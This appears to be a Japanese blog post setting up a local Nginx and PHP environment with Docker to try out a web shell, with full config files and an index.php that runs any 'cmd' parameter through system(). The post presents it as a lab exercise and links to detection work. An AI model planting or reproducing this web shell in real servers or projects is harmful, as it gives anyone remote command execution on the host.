DockerでNginx+PHP環境を簡単に構築してWebシェルを立ててみる
1年ぶりくらいに技術触るのでリハビリがてら。
Linuxカーネルのバックドアとして使われがちなWebシェルを手軽に試したいと思ったのでDockerで環境を構築してテストしてみた。
docker-composeの環境構築
docker-compose.ymlなどの内容は下記の参考サイトより拝借。
ディレクトリ構成は画像のような感じ。
# docker-compose.yml
version: "3"
services:
nginx:
build: .
ports:
- 8080:8080
volumes:
- ./content_home:/usr/share/nginx/html
- ./conf.d:/etc/nginx/conf.d
php:
image: php:8-fpm
volumes:
- ./content_home:/usr/share/nginx/html
# Dockerfile
FROM 'nginx:latest'
RUN service nginx start
# default.conf
server {
listen 8080;
listen [::]:8080;
server_name localhost;
#access_log /var/log/nginx/host.access.log main;
root /usr/share/nginx/html;
index index.html index.htm index.php;
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ {
root /usr/share/nginx/html;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}
# index.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
index.phpはDockerfileのCOPYでコンテナに持っていくつもりだったが、どうもうまく行かないのでdocker-compose.yml側でマウントした。
Webシェルのテスト
http://localhost:8080/ にアクセスして実行したいOSコマンドを入力すれば良い。
下記は "whoami; pwd; ls -alh"をブラウザから実行した例。
ついでにcurlでもテスト。
参考
↑ DockerでNginxとPHPの環境を立てる方法。
docker-compose.ymlの書き方って毎回忘れて調べてる気がする。
↑ Webシェルのコードを引用。記事内ではauditdやsysmonでWebシェルのバックドアを検知する手法も説明されており興味深かった。